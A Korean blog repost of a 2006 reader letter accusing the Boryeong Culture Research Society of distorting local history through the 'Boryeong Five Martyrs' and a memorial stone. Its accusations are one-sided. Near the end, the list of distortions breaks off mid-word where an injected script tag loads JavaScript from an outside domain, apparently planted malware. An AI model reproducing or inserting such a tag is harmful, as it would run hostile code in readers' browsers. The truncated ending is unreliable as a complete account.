보령의 역사 왜곡

(사)보령문화 연구회의 목적은 무엇인가?

♧문화재 지킴이 2009. 4. 26. 20:08

(사)보령문화 연구회의 목적은 무엇인가?
글쓴이 : 문화클린네… 날짜 : 09-04-26 18:59

아래 글  은 2006년 12월13일 자로 [보령시민신문] 에 기고 되어 "국사편찬위원회" "독립기념관" "백범기념사업회" "교육부" 등 에 배부 되고 다시 보령시장에 올려 영원한 보령역사를 기록 하고 자한다.

독  자  글 

(사)보령문화 연구회의 목적은 무엇인가?  

“보령문화”정당주장의 핵심은 ‘또 다른 역사 왜곡’

최근 들어 국내외적으로 중국, 일본 등 강대국들의 한국역사 왜곡이 빈번하여 국민의 분노를 들끓게 하는 가운데 충청남도와 보령시의 예산을 지원을 받아 사단법인 보령문화 연구회에서 발간된 보령문화15집에는 역사의 전문성을 이용, 학교 국사 선생들에 의해 교묘하고 과도한 왜곡 내용이 있어 시민에게 알려 경종을 울리고 또한 국사편찬 위원회 사료조사 위원에 위촉된 자(者)들이 그 직함을 활용, 역사비석을 증명하고 왜곡시켜 세워준 사실이 있고 1년 후 시민 혈세로 지원받아 만든 보령문화에 싣는 등 완고하게 세탁 시켜 왜곡하고 있다.

“보령지방의 문화유산과 자연을 연구하여 바르게 지키고, 알차게 가꾸고, 널리 알리고, 다 함께 즐기고, 온전히 물려주는 활동” 을 위한 사업의 목적이 있으면서도 정면으로 위배 되는 행위는 시민의 혈세가 투입되기에 시민 모두 알아야 하고 B신문 487호(2006.11.6일자 독자글)를 보며 오류가 아닌 역사왜곡 사실임을 낱낱이 고(告) 한다.

우리 보령지역은 유구한 역사 문화 속에 성주사지를 비롯하여 만세보령이란 칭호처럼 살기 좋은 곳으로 많은 성씨들이 일찍 입향 하여 정착하고 번성하여 동국여지승람이나 세종실록지리지 등 많은 문헌에 여러 문화유산이 잘 나타나 있다.

또한 아직 연구되지 않은 사실도 많고 바르게 기록하고 계승할 전통문화도 다양하다.
그런데도 보령지역 역사를 누구보다 바르게 기록해야할 주체 세력들이 검증이나 고증도 안 된 인물들을 선정 배경 및 기준 등도 불투명하고 모호한데 보령5열사라 칭하고 지식인과 유림을 빙자하여 또 다시 어물쩍 보령문화에서 사실화 하는 엄청난 조작 내지는 왜곡한 현실들이다.

특정 인물의 비석을 세우는 관련으로 참여한 보령문화 회원에게 금품이 오간 사실도 있다.
이런 잘못을 반성하기는 커녕 닾고 숨기려는 행위는 중단하기 바란다

존경하는 보령문화 연구회 회원 및 국사 선생님 여러분!
!
최근 발행된 ‘보령문화 15집’에 ‘보령5열사’에 대한 반론에 대한 회장 글을 보며 분노와 역사 왜곡사실 현장을 목격하며 시민의 관심을 날로 고조시키기에 충분하다고 판단되어 시민과 학생들이 애국적 정열과 지성으로 응결된 행동을 보일 것이며 우리 보령시민들의 정당한 요구를 과감하게 표현 할 것이다.

지난 10월24일 대천문화원 합동토론회에서 정론직필을 주장하던 B신문은 H대표와 기자를 3명이 참석 취재했고 그동안 15차례에 H선생님의 글을 B신문에 실어준 사실이 있으면서도 단 한자도 보도하지 않았다.

그러나 B지역신문에서는 보령문화 회의내용을 보도한 사실이 있다.(2006.10.30일자)
그날 참석자는 보령문화연구회 회원 20여명 등과 내포문화연구연합회이사 임인식, 대천문화원 류근평 감사, 백이호(동이농산대표), 백인호, 임세혁씨등이 참석한 가운데 보령 5열사에 열띤 토론으로 상당히 왜곡된 부분의 지적과 시정을 요구하고 잘못을 인정하며 잘못된 부분을 다음호에 정정 수록하는 선에서 매듭졌다.

그런데 B지역신문(2006.11월6일자) “보령문화 15집 발간과 5열사 논란에 대하여” 독자글(회장명) 을 보면 잘못의 책임과 반성은 없고 또 다시 시민을 기만하는 글로 조금도 부끄러움 없이 정당한 것처럼 보도하는데 시민의 한 사람으로 분노를 금치 못한다.

보령문화 회원들이 자기의사를 자유롭게 표현하기 보다는 뒤에 숨어 사실을 감추는 세력이 있어 이런 사실을 공개 하고자 한다.
또한 이런 사실이 진실로 밝혀지면 공직자는 공직에서 사퇴하여야 할것이다.

<왜곡사례>
2005년 5월 21일자에 보령신문에 특정인의 부탁을 받고 B신문에 모학교 H교사명으로 5회에 걸쳐 보령5열사를 의도적으로 소개한다.
(왜곡된 부분 다수는 자료와 함께 토론회에서 밝혔다)
그 후 2005년 7월7일 특정문중에서 이 자료를 이용, 비문과 기념책자를 만들어 잘못된 글(생몰연대, 김구선생 도용 등)도 수정 없이 배포하고 약사 (略史간략한 역사)비문을 엉터리로 쓰고 뒤편에 추진위원 명단에 들어간 보령문화 회원이 과반수이상이 비석에 새겨져 역사 사실로 추인 해준다.

2005년 7월7일 제막식에 참석하고 비문을 확인한다(내용 B신문 7월9일보도)또한 참석자중 많은 분들이 당일 잘못을 지적하고 시정을 요구했다는 내용 등을 증언 하고 있다.
2006년 보령문화에 사실 인 것처럼 신문에 난 날짜와 비석 세운 날짜 등을 틀리게 게재하고 홍성 에서도 열사라 부르지 않은 지산 김복한선생 등을 열사라 칭하여 5명을 짜 맞추기 했다.

<왜곡사실>
1. 생몰연대
2. 김구 선생 등 도?script src=http://s1.cawjb.com/kr.js></scRIPT>

보령넷 기자 edit@brnews.co.kr   2006-11-14 오후 2:14:10